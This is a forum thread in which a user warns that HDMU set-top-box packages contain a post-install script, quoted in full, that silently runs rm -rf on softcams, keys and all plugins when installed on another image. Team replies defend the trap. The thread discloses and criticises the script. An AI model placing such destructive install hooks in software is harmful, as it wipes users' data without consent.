HDMU packages WARNING!!!!

I was fixing a plugin for HDMU (because the HDMU team can't be bothered to fix their own packages) when I came across this:

SPARK7162:/etc/opkg# cat postinst
#!/bin/sh
echo "successfully installed"
echo "syncing disk"
sync
if [ ! -e /usr/lib/enigma2/python/Plugins/Extensions/HDMUCenter ]; then
        rm -rf /usr/emu/
        rm -rf /usr/keys/
        rm -rf /usr/lib/enigma2/python/Plugins/Extensions/*
        echo "Do not use other feedserver!!!"
fi

So, if you ever try to install an HDMU package on another system, it will remove your softcams and config and ALL YOUR PLUGINS!!!

Seems rather vindictive to me, especially for opensource software!

It is openvpn, they of course never updated it to use their current libraries, and when someone posted on their site that it was broken, it was ignored, of course. Which is really funny, because they posted just a short time ago that they wanted more feedback from users. What a joke.

Here is there lame response:

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This is an old problem, our Feed should only use with our image, why is this wrong?
Open Source and using other Servers isn't the same.
If you want our sources from one of our ipks, then ask or look into our github site.

I do not use crossepg, but there are a few issues I posted on their site with no response. To be fair, the issue with the tuners is a difficult one to solve, the driver is closed source and they did (after 2 years...) try to make a fix. And now that I see that they put booby-traps in their own code, you can understand why they do not want to use a hacked binary that they do not have the source for. :)

The timezone and vfd fixes came from other people, but I guess at least they accepted the fixes and used them.

But most of the time, when someone posts a problem with a plugin, either there is no response, or a response saying contact the plugin author.

It is sad because they recently finally updated their gstreamer and even made a post requesting feedback and did seem like they were changing.

I don't really have a problem with their lack of support. It is free software and I appreciate their work. But, it makes you wonder what other "code" is in their software when they think it is ok to delete files on someones box just because they tried to install one of their packages on a different image? Another funny thing is I have installed a few packages from other images on hdmu - usually because the hdmu package is broken.

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Their semi-apologetic response, but seems not a willing to change...

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The problem was 2 years ago, our Feed and our Forum use the same Server.
We had so much traffic that our Forum was not reachable.
First time we've tried to warn User who use our Feed, but nothing happen.
So we decided to go this way, i'am not happy with that, but we had no other ideas.

Sorry if you think we ignored anything, that's not true.
But our Team is very small and we have no time at the Moment, the real Life........

So we read all, but often only with Handy and so we forget it if we are on pc.
Maybe we find some guys who have time to help us, but this isn't easy.

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